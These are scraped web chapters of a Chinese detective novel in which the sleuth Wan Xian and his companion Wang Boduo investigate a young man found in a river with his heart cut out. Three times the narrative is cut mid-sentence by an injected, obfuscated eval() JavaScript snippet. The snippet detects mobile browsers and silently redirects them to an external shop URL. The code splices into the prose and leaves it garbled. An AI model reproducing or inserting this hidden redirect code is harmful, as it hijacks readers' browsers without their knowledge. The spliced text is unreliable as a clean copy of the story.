《万仙探案书》 1. 第一案:鬼门开01 凌洛城外,玉河边。 老蒋头提着木桶走到河边打水时,听到了野狗的叫唤。借着清晨的光,他循声望去,只见一只通体黑色的野狗驱赶了一只骨瘦如柴的同类,正在河边乱石处撕咬着什么。老蒋头好奇地眯起眼睛,仔细打量,竟瞧见野狗叼起了一只人手。 老蒋头心里一惊,手里的木桶掉落在地。他大声吼叫,驱赶野狗,朝乱石处奔去。 野狗被他的吼叫惊到,松开人手,跳到了一旁,警惕地盯着老蒋头。 老蒋头此刻却无暇顾及这只野狗,因为他的目光被卡在河道乱石处的尸体吸引了注意力。 那是一名上身赤裸的男子,他的手已经被野狗啃得血肉模糊,但更令人感到可怖的是他的胸前竟被挖出一个大洞,里面的心脏不翼而飞! “啊!”饶是平日大胆的老蒋头也被吓得连退了三步。一旁打量他的野狗以为他遇到了什么怪物,竟也惊得仓皇逃走了。 没过多久,玉河边就围满了闻讯赶来的村民。 “这人是谁?怎么死在了这里?” “看上去是个年轻的小伙,谁这么歹毒,竟然挖走了他的心脏?” 众人追着老蒋头问。 老蒋头道:“我哪知道他是谁又为什么死在这里哦。不过看他身上被泡发的皮肤,怕是在水里待了不少时辰。” “你的意思是他是被玉河的水带到这里的?”有老妇人问。 老蒋头点点头,看向玉河上游的方向。 老妇人顿时露出忌讳的表情:“该不会……是鬼吃了他的心吧?” “鬼?” “你不知道那件事?”老妇人顺着老蒋头的目光,朝着玉河上游望去。 远处,一座被清晨薄雾萦绕的山伫立在那头。 老妇人用干哑的声音,幽幽地说:“听说最近鬼门开了,那头正闹鬼呢……” 【第一案:鬼门开】 “各位客官,我们对面便是凌洛城赫赫有名的酒楼,藏乐楼。藏乐楼里住着一位文人,名叫万仙。他心思缜密,善于探案,先前游历四方,现定居凌洛城,撰写话本为生。以其亲身经历写就的《藏乐楼疑案》便是他的新书,我费心费力求得讲其书之权,还望各位客官,多多捧场!”说书人一拍醒木,好戏开场,“此案就发生在这藏乐楼……” “藏乐楼门楣上的鎏金匾额,传闻是李大诗人所作,字迹苍劲有力,神韵非凡。而楼内布局错落有致,雕花桌凳为奇木所制,木材温润如玉,格外雅致……这些精致的遣词造句,我都会背了。” 藏乐楼上,一间名叫清寒夜的雅间里,王博多负手立在窗边,背诵着说书人对藏乐楼的夸赞。然后他转过头,对着房内读着话本的男子道:“仙儿哥,这花儿姐还真是有本事,竟差使说书人讲你写的话本,又在故事里插入对藏乐楼的美言,以此宣扬她这酒楼。还美其名曰鎏金匾额传闻是李大诗人所作,不懂的人不得遐想这李大诗人是李太白啊?” 倚在桌旁的万仙一手翻阅话本,一手撩开额前垂落下来的黑色长发,露出一张俊俏的脸。 他漫不经心道:“难道不是那位李大诗人吗?” “怎么可能!题字的是李辞天。” “李辞天是谁?” “是做匾额人家的二儿子。” 万仙嗤笑一声,低头继续翻书。 “话说回来,花儿姐花了多少银子,买下你这话本的说书权,然后交给说书先生去说啊?”王博多一屁股坐在万仙面前,好奇地问。 万仙伸出一根手指。 “一百两?”王博多问。 万仙头也不抬,道:“一文钱。” “啊?一文钱你也卖?” “她虽因我帮她破获了疑案,让我无偿入住这清寒夜,但我也不好一直白住,”万仙说,“我偶尔得还点人情不是?” 闻言,王博多又想起了自己与万仙初识的那起案子。 它就发生在这间清寒夜里,它也是《藏乐楼疑案》的原型。 半年前,王博多在藏乐楼听曲喝酒。酒过三巡,王博多早已步履蹒跚,于是便在藏乐楼开了一间房,入住到了名为清寒夜的雅间里。那晚,他做了个噩梦,梦到有人被困在棺材之中,疯狂地挠着棺材盖,企图从棺材里爬出。但是他没能成功,因为棺材之上坐着一个人。那个人就是王博多!他不知为何,死死地压着棺材盖,不让里面的人从棺材里出来。 王博多被这梦吓醒,出了一身冷汗。而此时,夜色已深,屋内只有一盏烛火孤独地立在床前的桌子上。 王博多下床,想去撒个尿,忽然,他的余光瞄到自己刚刚睡的那张床,狐疑地一惊。 他下意识地转过头,瞧向让他本能一惊的地方。 只见床底之下,赫然躺着一具尸体。尸体歪着头,瞪着双眼,仿佛死不瞑目。不仅如此,他的双手还呈现向上抓挠的样子,且满是鲜血,好像被活活关在棺材里闷死了! 王博多吓得连声尖叫,跑出了房间。 被惊醒的客人与伙计,在花姐的带领下,重新推开了房门。 王博多撇过头,颤颤巍巍地指向床底,说:“那死人就在那里!” 花姐皱眉,道:“哪有什么死人!” 其他人也道:“王少爷怕不是魔怔了吧?” 王博多这才转过头来,定眼一瞧,却见床底空无一物,更别说什么死人,什么尸体了。 王博多诧异地想,难道真是我做梦梦糊涂了?但不对啊,他这一睡,酒意已散,绝不可能糊涂到分不清现实与虚幻。 就在他疑惑之际,从围观的客人里走出一人。 他面如冠玉,唇若涂朱,一袭青衫,风度翩翩,只有那略带毛躁的乌发,才显出他也不过是刚被惊醒而已。 此人便是万仙。 他疾步走到床前,弯身打量,目光不见惺忪之色,反倒锐利如剑。 “确实有血。”万仙冷冷地道。 花姐闻言,赶紧走到万仙身旁,低头查看,果然瞧见床板之下,满是鲜血与抓痕。 “这究竟是怎么回事?”花姐害怕道。 万仙猜测道:“我想,你这藏乐楼,最近招人嫉恨吧?” 花姐愣了片刻,点头如蒜捣。 虽然万仙猜测,这诡谲之事是嫉恨藏乐楼之人所为。但当日天刚亮,“藏乐楼的床底藏有死人,尸体还不翼而飞”的传闻,还是随着早点的香气传遍了凌洛城,闹得人心惶惶。 原先还住店的客人纷纷退房,都不敢再续住。 “要不是仙儿哥你带我一路追查,发现当时吓我的人并没有死,他不过是藏乐楼的对手,千春轩的老板派来装神弄鬼的……这花儿姐的店,恐怕再也开不下去了。”想起惊心动魄的往事,王博多不禁感慨。 这话刚落地,他口中的花儿姐就不请自来,推开了清寒夜的门。 “又在说我什么呢?”她一身红衣,轻步跨过门槛,身后跟着一位脸色凝重的男人。 王博多刚要回答,就注意到了她身后的男人,惊讶道:“吴三泰?” 万仙闻言,也诧异地抬起头。 因为藏乐楼疑案的始作俑者,正是眼前这个男人。 他找人在藏乐楼里装神弄鬼,企图用“藏乐楼的床底藏了死人”来让藏乐楼声名狼藉! 罚了几两银子,坐了几天牢的他,如今还在经营着千春轩,依旧视藏乐楼为劲敌,却依旧不敌藏乐楼。 今日他怎来了? 再者,早就与他翻脸的花姐,又怎会让他踏入藏乐楼? 像是知道万仙和王博多心中生疑,花姐一捻手绢,指着万仙,对吴三泰道:“你自己说吧。” 万仙一听是来找自己的,随即合起了手上的话本,问道:“吴老板,有何贵干?” 吴三泰立即痛心疾首道:“万仙兄,你一定要帮我找出杀害我儿的凶手啊!” 他这一哀嚎,万仙便懂了花姐为何不计前嫌了。 他朝吴三泰点点头,让他细细将此事的原委道来。 于是吴三泰讲起了自己的儿子。 他的儿子名叫吴华白,自小叛逆。盼子成龙的吴三泰便愈发严格地管教他,希望他老实安分,即便考取不了功名,将来接手自家的千春轩当个掌柜,至少衣食无忧。可吴华白不愿被父亲束缚,更是不想接手因为污蔑同行而名声已臭的千春轩。一日与吴三泰争吵之后,他留下一句“我自有本事,定让你刮目相看!”便夺门而出。 吴三泰怒火中烧,最后却只能唉声叹气,任由自己的儿子去外面撒野了。毕竟想要挽救千春轩的名声,他要花更多功夫。他无暇再去跟这逆子争吵不休。 他想,待到千春轩的招牌重新立起来,儿子自然也会回来的。 结果还未等吴三泰想出重振千春轩的办法,吴华白就回来了。但他不是自己走回来的,是被人抬回来的。 有人在凌洛城外的玉河,打捞上了一具尸体。对方报了官,于是衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037477|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门派人将吴华白抬回了凌洛城,凌洛城知县一瞧便知,那是吴三泰的儿子,于是赶紧叫人去请吴三泰来认尸。 白布掀开,吴三泰一眼便认出那泡得发白的尸体就是自己的儿子,顿时悲痛万分。而令他更觉错愕的是吴华白胸前那一滩河水也未洗净的血迹。 他凑近准备瞧个明白,仵作伸手拦住了他:“你确定要看吗?” 吴三泰茫然地望着仵作。 仵作神情凝重,道:“他被挖去了心脏。” 吴三泰闻言,双腿发软。他不明白,儿子为何被人害死,挖去了心脏,抛尸玉河? 他得罪了谁?还是……我得罪了谁? 吴三泰想起半年前,自己企图搞垮藏乐楼的那腌臜事。 莫非是藏乐楼的花姐蓄意报复,害死我儿? 遭受丧子之痛的吴三泰蹒跚着脚步,走到了藏乐楼。 “吴三泰,你来做甚?!”藏乐楼的花姐瞧见吴三泰前来,立刻警觉地将他拦在了门口。 谁料吴三泰流着泪质问她:“是不是你杀死了我儿?是我错了,是我错了,我不该想搞垮你们藏乐楼……” “你儿……死了?”花姐错愕。 但聪明如她,立即便知道吴三泰为何上门。 “吴三泰,我是怨你之前想要搞垮我们藏乐楼。但万仙替我抓住了你派来的闹事者,你那龌龊的计划暴露,反倒让我们的藏乐楼生意兴隆,我怎会恨你到杀了你儿呢?”花姐示意伙计将吴三泰请进来。她亲自给他倒了一杯茶,继续道:“再说,我花姐做人一向堂堂正正,即便你当初搞垮了我们藏乐楼,我也断不会干出伤天害理的事来复仇的。” 吴三泰又何尝不知花姐的为人呢?他坐牢不久便被放出,也是仰赖花姐手下留情,并未追着知县要求重判他。 只是现在,他不知道找谁为儿子的死负责,所以逮个人就想质问。但他不能再无理取闹了。 吴三泰失魂落魄地想着,抹了抹脸上的泪,欲要走。 花姐却叫住了他。 “你儿子的事……”她看了一眼二楼那间清寒夜,“说不定万仙公子可以帮你。” 吴三泰顺着花姐看向二楼,顿时眼睛一亮。 万仙半年前来到凌洛城,第二天就帮花姐追查出了那个装尸体的闹事者,并让他的计划彻底暴露。这半年来,万仙更是帮凌洛城里不少人解决过大大小小的案子,看来是个聪慧之人。 虽然吴三泰曾一度生气万仙让自己坐了牢,却也敬佩他才识过人。 如今儿子出事,或许他真能帮上忙,查出凶手? 就在他犹豫之际,花姐已经站了起来,朝二楼走去。 吴三泰知道花姐是不想让他开口央求于她,赶紧感激地跟了上去。 这便是他同花姐一起踏入清寒夜的原因。 吴三泰说完来由,万仙面露难色地回绝道:“你这事,衙门肯定会调查,无须我出手。” “衙门只让我回去等消息,我又怎知他们是否会认真对待我儿这案子……” “吴老板,莫要这样说。”万仙脑海里闪过一个熟悉的人影,道,“出了人命,衙门不会草率了事的。” “只是衙门那独来独往的小师爷,拖拖拉拉,比较慢而已。没有咱仙儿哥快。”王博多在一旁接话。 万仙瞥了他一眼。 王博多吃了瘪似的,耸了耸肩,改口道:“小师爷只是公务繁忙,偶有怠慢而已。” 吴三泰不理会王博多,而是对万仙继续道:“我中年丧子,寻凶心切,还请万仙兄帮帮忙。”说罢,他从兜里掏出一块金子,推到万仙面前。 王博多瞧了一眼金子,推了推万仙的肩膀:“仙儿哥,你最近不正愁没有故事写新的话本吗?这案子说不定能给你灵感。” 吴三泰听言立即道:“只要仙儿哥能帮我找出杀害我儿的凶手,我儿这案子,随便你写成话本!” 万仙最近的确有为下一册话本伤脑筋。之前他也不是没有遇到别的案子,只是有些不易写成话本,有些则是亲属不愿让他写成话本,他只能另等其他灵感降临。如今面前有一个尚且让他有几分兴趣的案子,且亲属同意之后可以改编成话本,万仙竟真的有点心动。 “拜托万仙兄了!”吴三泰看万仙还在犹豫,作势要跪下求他。 万仙赶紧扶起他,连声道:“吴老板莫急,这案子我接了。” 万仙的话音未落,一旁的王博多就已替他收好了金子。 2. 第一案:鬼门开02 “你觉得吴华白离家出走,会去哪里?”接下案子后,万仙问王博多。 王博多眼睛一瞪道:“为何问我?” 万仙拿话本敲他的脑袋:“明知故问。” 王博多与吴华白有相似之处。他的父亲在凌洛城开了家名叫“异宝博多”的当铺,取自王博多的姓名,可见他对他有多器重。然而,父亲越是希望王博多继承家业,王博多越是不愿。不知是少年心气使然,还是真的志不在此,王博多做得最多的事就是溜出门去撒野。若不是日日闲逛到无趣,或许他也不会逮住万仙,硬要跟着他去探案。 所以他应该能猜到吴华白会去哪里消磨时光。 果然,王博多挠挠脑袋,装作才想起来似的道:“我们这些家境不错的小后生,离家出走,要不就去酒楼花天酒地,要不就去赌坊玩个上天入地!但我觉得,吴华白应该是后者。” “为何?”这下换万仙明知故问。 “他不愿意接手他爹的千春轩,是因为千春轩的名声臭了。他若是去别家酒楼潇洒,很可能会碰到好事者故意找茬,说他又是他爹派来诬陷别家酒楼床底藏死人的。所以,他肯定不会去酒楼的。” “好。”万仙放下话本,从桌上抓过自己的折扇,“哗”的一声打开,扇着风起身,“那我们就去赌坊瞧瞧。” 许久之后,凌洛城南洋街最里的巷子。 王博多跟在万仙身旁,没话找话:“仙儿哥,你这折扇未免也太素净了一些,雪白一片,啥也没有,不够风雅。我爹有点人脉,可以找大诗人帮你在这白扇上题字。或者,你来我们‘异宝博多’,我给你找一把夜里会发光的夜光扇如何?我叫我爹便宜点卖你。” 万仙斜眼道:“你不是说最烦你爹吗?怎么还时不时把他挂在嘴边?” “我有吗?”王博多撇撇嘴,转开话头,指着前面的一间铺子道,“那就是最后一家赌坊了。”之前那几家都没有吴华白的消息,这家是最后的机会。 万仙抬头看了一眼这铺子的招牌,招牌上写着三个苍劲有力的大字:不见天。 步入不见天,万仙就明白为何这赌坊要取这个名字了。 这赌坊没有透光的窗户,墙壁上点满的烛火照亮了整个房间,无人知晓外面是白昼还是黑夜。 “据说很多人在这里赌了两三天,还以为日子只过去了几个时辰呢。”王博多小声地说。 万仙借着烛火,瞧见这赌坊的游戏花样繁多,有掷骰子来移动棋子的六博、猜豆子的翻摊、以纸牌定输赢的叶子戏……沉迷其中者,无不眼神放光,贪婪无比。 赌坊的伙计瞧见万仙在打量,立即上前:“两位客官,可有中意的游戏?” “你们老板呢?”王博多问。 “我们老板久病在身,在家修养呢!”伙计讪笑道,“客官有什么事,找我就好。” 王博多打量了一下伙计,道:“我们不是来赌博的,是有事想要询问。” 说话间,他已掏出碎银,塞到伙计手里。 伙计见状,立刻露出笑颜,示意万仙和王博多到一旁详谈。 万仙拿折扇朝伙计一指,王博多就道:“你有没有见过千春轩吴三泰的儿子,吴华白?” 他这话问得直接,是多方打探后的结果。 在其他家,王博多先是报上吴华白的姓名,再同他们描述吴华白的长相。结果一番下来,伙计们都迷茫地瞪着眼睛摇头,说:“我每天要见那么多人,哪记得什么丹凤眼、卧蚕眉,相貌堂堂的男子啊。” 见他们回忆不起来,万仙开口道:“那千春轩吴三泰,吴老板的儿子,你们可曾见过?” 人们很难单靠几个词语就回想起一个陌生人。但那人若有其他的名号,就不一定了—— 比如他是谁谁谁的儿子。 果不其然,万仙这么一说,那些伙计都想起来了。 “早说嘛,千春轩吴老板的儿子我是知道的。但是他没来过我们赌坊。”之前那几家赌坊的伙计都这么说。 但现在,不见天的伙计却沉思片刻,道:“我想起来了,吴老板的儿子的确来过我们这不见天。” 问了大半天,终于问到了一个对的人,王博多喜出望外。 “他来这儿赌了什么?可输钱或赢钱?” 伙计摇了摇头,道:“我记得,他来我们这不是来赌博的。” “哦?”万仙好奇道,“那他是来干嘛的?” “他是来找人的。” “找谁?” “我想想他叫什么名字……”伙计朝王博多眨眨眼。 “你看上我了?跟我抛媚眼?”王博多看他眼神暧昧,怒道。 万仙拿折扇敲他的头。 王博多撇撇嘴,不情愿地又掏出碎银塞到伙计手里。 伙计嘿嘿一笑,道:“他是来找李落地的。” “李落地是谁?”万仙皱眉,因为他看到王博多脸上闪过一丝惊讶。 “李落地是李辞天的哥哥。”王博多说,“就是那个给藏乐楼做匾额的人家的大儿子。” 不见天的伙计点点头,回忆起他当时见到吴华白和李落地的场景。 大约七日前,吴华白疾步踏入不见天,身上带着火气,像是被谁惹恼了。伙计不知他是被父亲惹得心烦,还以为是来挑事的,赶紧凑上前去,点头哈腰:“客官可有中意的游戏?”他姿态极低,生怕吴华白大闹不见天。 吴华白不理他,眼睛四处找寻,终于找到输了叶子戏,躲在一旁喝闷茶的李落地。 他神色转喜,疾步上前,道:“李兄,你果然在此。之前你同我说要一起做买卖,这事可有着落?” 李落地本就心烦,见到吴华白追问,不悦道:“钱都输光了,哪有本金做买卖?” 吴华白一阵语塞。 李落地道:“你这人真是身在福中不知福,你爹愿意以后把千春轩留给你,你应该高兴才是,结果你倒好,日日嫌弃,说你爹丢人,千春轩的名声臭不可当……” “怎么又说这话!”吴华白打断李落地,道,“明明是你之前邀我一起做买卖,说我们不凭他人也能干出一番天地。现在倒好,你沉迷赌博输了钱,倒把脾气发泄在我身上了!” 吴华白愤然转身,欲要离去,却被李落地一声“吴兄”叫住。 “叫我作甚!”吴华白转身,瞧见李落地瞄向自己腰间的荷包。 “行了行了,我也是输了钱心里不痛快,乱说一通,发泄而已。”李落地从椅子上跳起,勾住了吴华白的肩膀,“买卖,我是真心想要和吴兄做的。但吴兄你也瞧见了,我现在连本金都输光了……” 他没有把话说下去,但言语里的意味悠长。 “你想干嘛?”吴华白捂住自己的荷包。 李落地一笑,说:“吴兄,我们何不再赌一把?把我们做买卖的本金赌出来?” “这是我好不容易攒起来,要同你做买卖的。”吴华白不肯,道,“我可不想在这牌桌上挥霍殆尽。” 李落地道:“你那点钱能做什么买卖?不如我们钱滚钱,赢了大干一场。” “那输了呢?” “输了我就去跟我那阿弟争家产,你就回去当千春轩的大当家。”李落地赌瘾上身,花言巧语起来,“我们有老爹兜底,怕什么?” 吴华白闻言,竟真的开始踌躇。 李落地赶紧添柴烧火,佯装愠怒道:“连小小叶子戏都不敢赌,说明你没有魄力。没有魄力,我可不愿与你一起做生意。因为做生意,最需要的就是魄力!” 一段话,三个“魄力”,拱得吴华白心中也燃起了火。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037478|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “谁说我没魄力?”吴华白把荷包一扯,“你拿去赌便是。” 李落地正愁没有银子翻盘,立即喜笑颜开,接过了吴华白递来的钱…… “所以最后还是李落地去赌的钱?”万仙问伙计。 伙计点点头。 “那他们是输是赢?” 伙计又冲王博多眨眨眼,王博多一边瞪他,一边不情愿地从口袋里掏钱。 就在这时,一把折扇打住了王博多的手。 王博多抬头,就见万仙面无表情地盯着伙计,不怒自威道:“莫要得寸进尺。” 伙计转着眼珠,似在思考自己是否要为钱硬抗到底。但很快,阅人无数的他敏锐地察觉到此人并非善类,于是不情不愿地收敛贪欲,道:“他们若是赢了,指不定今日还在这赌坊里呢。” 伙计说,他没有见到吴华白同李落地赌博的场面,因为他当时闹肚子,去了趟茅厕。 茅厕在赌坊后门的小巷,他回来时,就见李落地恼怒异常地夺门而出,奔入了这后门小巷,跟在他身后的吴华白则是一脸怨气。 “我都说了不要赌,不要赌,现在好了,输了个精光!”吴华白追上李落地,一顿数落。 伙计最爱看这吵架的热闹,便多留意了几眼。 只见李落地嚷道:“输了就输了呗,就你那几两银子,做买卖也得打水漂!” “那也比你给我胡乱输掉强!” “闭嘴!别再跟着我,惹我心烦!” “你把我的钱还给我,我就不跟着你了。” “我何时问你借过钱?又何须还你钱?”李落地耍无赖。 “你!你!你!”吴华白气恼得说不出个所以然,只是硬拽着李落地的衣服不让他走。 李落地挣扎片刻,竟也不再急着落跑了。 只见他眼珠子一转,道:“赚钱,倒也并不一定要本金。” 吴华白嚷道:“你休要再蒙我!” 李落地摇头:“我只是想到一件事,可以让我们发笔横财。” 吴华白好奇地等他说下去。 李落地冲吴华白招了招手,示意他凑近来听。 吴华白脸色犹豫,身体却很老实地倾了过去。 李落地同他耳语几句后,吴华白眉头一皱,道:“这你也信?” “苍蝇不钻无缝蛋,事出反常必有因。”李落地继续神秘兮兮道,“我觉得我们未尝不能富贵险中求。” 说完他发现赌坊的伙计在偷听,便瞪了一眼伙计,拉着还在狐疑的吴华白走了。 “所以……李落地跟吴华白说了什么东西可以富贵险中求?”不见天内,王博多好奇地问道。 伙计摇摇头:“我也想知道啊!” 万仙打开折扇,问伙计:“那后来,你可曾再见过这两人?” 伙计想了半天,继续摇头,说:“自那以后,我就没有在赌坊见到过他们了。” 见问不出再多的话,万仙和王博多离开了不见天。 “仙儿哥,你说会不会是李落地不想还钱,将吴华白杀害了?”走在街上,王博多问道。 万仙扇着扇子,说:“不无可能。但是吴华白被输掉的钱,对李落地来说并不是特别庞大的数目,他至于为了这点钱财,让自己背上一条人命吗?” “伙计不是听闻他们要去哪富贵险中求吗?说不定是他们险中求来了富贵,李落地不想同吴华白分账,于是将他杀害,独吞那笔富贵。” 万仙道:“那为何他又要将他的心挖出呢?” 万仙这一问,着实让王博多犯了难。 他环抱双臂,边走边思索,还未想出答案,就瞧见了不远处的一家作坊。 他顿下脚步,指着作坊道:“呐,仙儿哥,那就是李落地家的天地牌匾坊了。” 3. 第一案:鬼门开03 万仙扇着扇子,顺着王博多指的方向望去,只见端庄大气的“天地”二字刻在牌匾上,映入眼帘。 万仙和王博多步入其中,就见几个细木匠在“吭吭吭”地凿着木头。 “客官,是否要做木工?”有细木匠瞧见坊里来人,停下手头的动作,招呼道,“坊主出去了,待我去唤辞天少爷来。” “我们不是来做牌匾的,”王博多道,“我们是想来问问,你们大少爷李落地可在?” “李落地啊……”细木匠直呼其名,打量着王博多,道,“他不在。上次同坊主吵完架,就又不知道去哪里鬼混了。” “他走了有几日?”万仙问。 “已有半个月有余。”回答万仙的不是细木匠,而是一个清俊少年郎。 “辞天少爷。”细木匠唤了他一声,知道李家的事,自己不便再多嘴,就又坐回去凿木头了。 万仙和王博多颔首作揖,注意到李辞天手指上沾染着的墨水。 李辞天问:“你们来找我阿兄是为何事?” 万仙也不藏着掖着,他压低声音,把吴华白的事全盘托出,又告知李辞天,或许此事与他阿兄有关。 李辞天惊讶不已。他左右打量,发现坊内各处都有木匠在,于是速速将万仙二人请到偏房详谈。 偏房里点着清香,一张?髹漆方桌上摆着笔墨纸砚。万仙注意到纸上是一首诗。 “方才在写诗?”万仙问。 李辞天点点头。 “怪不得有人称你为李大诗人。”王博多也凑过去看。 李辞天摆摆手,卷起桌上的纸:“胡乱瞎写罢了。主要是为了练字。” “哎呀,别害羞嘛。给我们看看呗。”王博多阻止李辞天道。 李辞天笑了笑,重新打开纸,摊在桌子上。 纸上干净地落着一首诗,内容落俗,字迹却苍劲有力。 万仙啧啧称赞:“果然是好字啊,怪不得凌洛城里,人人都要来你们这天地牌匾坊做牌匾。” “承蒙各位客官厚爱,雕虫小技罢了。” 王博多听不得寒暄,拽回话头:“说回你阿兄。半个多月前,他为何离家?” 李辞天叹了口气,答道:“他染上陋习,偷了我爹的钱,要去赌坊豪赌,被我爹抓个正着。我爹训斥他,他非但不知悔改,还推了我爹一把,抢走了我爹讨要回来的荷包,溜出门去,就再也没有回来了。” “他是何时染上这赌钱的恶习的?”万仙问。 “三年前吧。” “三年前?正是你们天地牌匾坊靠你的字扬名凌洛城时?”万仙来时听王博多说过这天地牌匾坊的一些旧事,于是故意点道。 李辞天微微一愣,然后坦率地点点头,道:“正是我风头盖过我阿兄之时。” 李落地比李辞天大一岁,是李家的长子。李坊主极为器重,将自己做木工的手艺倾囊相授,希望他长大后可以继承家业,不要让李家的好手艺失传。李落地一直以来都以此为愿,发愤图强。 李辞天则比李落地脑袋更灵活些,李坊主希望他去争一争功名,万一哪天真能光宗耀祖呢! 李落地何尝不知道这个年代,朝堂比这作坊厉害。但李辞天这不还没考取功名吗?只要阿弟还没升官发财,他李落地还是李家最器重的孩子!于是李落地便有恃无恐地把木工做了下去。 而仕途这条路真不好走。李辞天在大浪淘沙的科举考试里落了榜,灰溜溜地回了家。李落地便更有恃无恐了。 结果他没能安心多久,事情就发生了翻天覆地的变化。 一日,天地牌匾坊写字的老师傅滑倒摔断了手,父亲情急之下,招来了李辞天为一家准备开业的青楼题字。 心高气傲的李辞天,原本是绝不会为青楼题字的。但这次的落榜,挫了他的锐气,他只好垂头丧气地帮父亲写了几个字。 就这几个字,改变了李辞天的人生。 那青楼开业的排场盛大,揭匾仪式更是隆重,吸引无数百姓前来围观。也不知是顾及老板的面子,还是真的被李辞天的字所惊艳,当幕布揭下,匾额露出时,现场掌声如雷,围观者无不赞叹这匾额精美绝伦,题字神韵非凡。 一来二去,天地牌匾坊的名声越来越响亮,络绎不绝的订单,全是指名要李辞天题字的。 “匾额哪家都会做,但这字,可不是谁都会写啊!”客人来取匾额的时候,有时还会这么夸上几句。李坊主也愈发疼爱起这天地牌匾坊的金字招牌,他的二儿子李辞天。 李落地顿时有了危机感。以前他认定这作坊的坊主以后就是自己,现在看来怕是悬了。 可他总不能把阿弟的手给打断吧?李落地想。 旋即他又想,对啊,只要废了他的手,谁还会登门求字? 于是冬日夜晚,他提来一桶水,洒在李辞天卧房门口,想明日一早地上结冰,让李辞天摔个跟头,摔断手。 谁料聪明反被聪明误,在账房理账到深夜的李坊主瞧见了鬼鬼祟祟的李落地。 “你这是想干什么?”李坊主冲到李落地面前,大声呵斥他。 李落地的确愚笨,他死死地抓着水桶的手柄,一句话也不敢狡辩。 李坊主怎会不知道儿子之间的明争暗斗?只是以前他觉得,这能让两人更为勤奋,或是件好事,怎料这李落地竟想到这等龌龊的计谋,要谋害他的亲阿弟! 于是,气急败坏的李坊主就把李落地拉到院子,抡起棍子教训他。 “孽子!孽子!”他边打边喊,惊得已入睡的众人,纷纷奔来劝阻。 李落地看到李辞天裹着袍子远远地,怜悯地看着他。 天寒地冻里,李落地咬着牙,笑起来。 他输了。 “从此之后,他便时常离家,去赌坊里消磨岁月了。”李辞天再次叹气道,“说来这也怪我。” “怪你?”万仙打量着李辞天。 李辞天摩挲着手,晕开了手上沾染的墨迹,道:“不瞒你们,刚能靠写字赚钱时,我心中颇为得意。看着昔日瞧不起我的阿兄被挫了锐气,我也高兴万分……” 万仙佩服他的坦诚,却又问道:“现在你还是一样的心情?” 李辞天摇头,道:“那不过是前些年幼稚的想法罢了。如今看着阿兄真的沉迷赌博无法自拔,我也是心痛万分。我们本应该齐心协力,将这作坊做大,不该如此忌惮对方的……” 他语气里的悔恨之意不假,令一旁的王博多也不免唏嘘。 李落地和吴华白大抵是同一类人。他们讨厌父亲,却又想得到父亲的肯定,一心想靠自己发家致富,光耀门楣,所以才会走到一起,商量做买卖的事宜。 不过吴华白找李落地的时机不对,赌徒还在赌场里发狠地求翻盘,他自投罗网送上仅有的银两,注定要被骗去输个精光! 那么,身无分文的两人,又会去哪里“富贵险中求”呢? 万仙问李辞天,李辞天连连摇头:“这我就不清楚了,我每日都在坊里练字写字,又与阿兄生了嫌隙,哪会知道他在想什么,要去做什么。” “那你觉得,你阿兄会杀人吗?”王博多问。 李辞天没有为阿兄辩解,只是道:“这我更是不敢断言了。” “毕竟他曾设计想要害你?”万仙道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037479|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李辞天不回答,沉默地搓着手。 见再问不出什么,万仙和王博多只好告辞离开。 李辞天赶紧上前,为他们打开偏房的房门。 万仙“啪”的一声,打开折扇扇风,昂首挺胸,颇有气势地跨过门槛,谁料左脚被门槛一绊,险些摔倒。 狼狈之际,李辞天扶住了万仙的手:“客官小心。” “咳咳咳。”万仙以咳嗽掩饰尴尬。 跟在后头的王博多憋着笑想,仙儿哥,你也有起范起失败的时刻啊。但他不敢开口揶揄,怕又换来折扇打头。 离开天地牌匾坊,回到藏乐楼的清寒夜时,天色已暗。 万仙点起一盏烛火,翻开未看完的话本,问王博多:“今夜你又不回家?” “这不案子还没查完嘛。”王博多撇着嘴,道,“我要是回去,指不定又被我爹扣在家里,逼我去管当铺。” “你和吴华白、李落地还真有点相似。” 王博多耸耸肩道:“可能年少都叛逆吧。” 说着,他转开话头:“仙儿哥,我们明日去玉河看看吧?就是发现吴华白尸体的地方。” “要出城?” “反正我们现在线索都断了。”王博多无奈道。 万仙点点头,道:“那今晚好好休息。” 说完,他抬头看着王博多,见他“嘿嘿”地冲自己笑,道:“你不另外开间房?” “仙儿哥,我当你手下,你就让我今晚蹭住一下这清寒夜呗。花儿姐这藏乐楼的房费太高,我怕案子没完,我的荷包就完了。”说着,他把清寒夜里剩下的两张圆凳挪了过去。 一张枕头,一张垫脚,他就这么平躺着。 “仙儿哥,你也早点睡呗,免得我睡着了打呼,你把我耳朵拎起来。”他可怜巴巴地说。 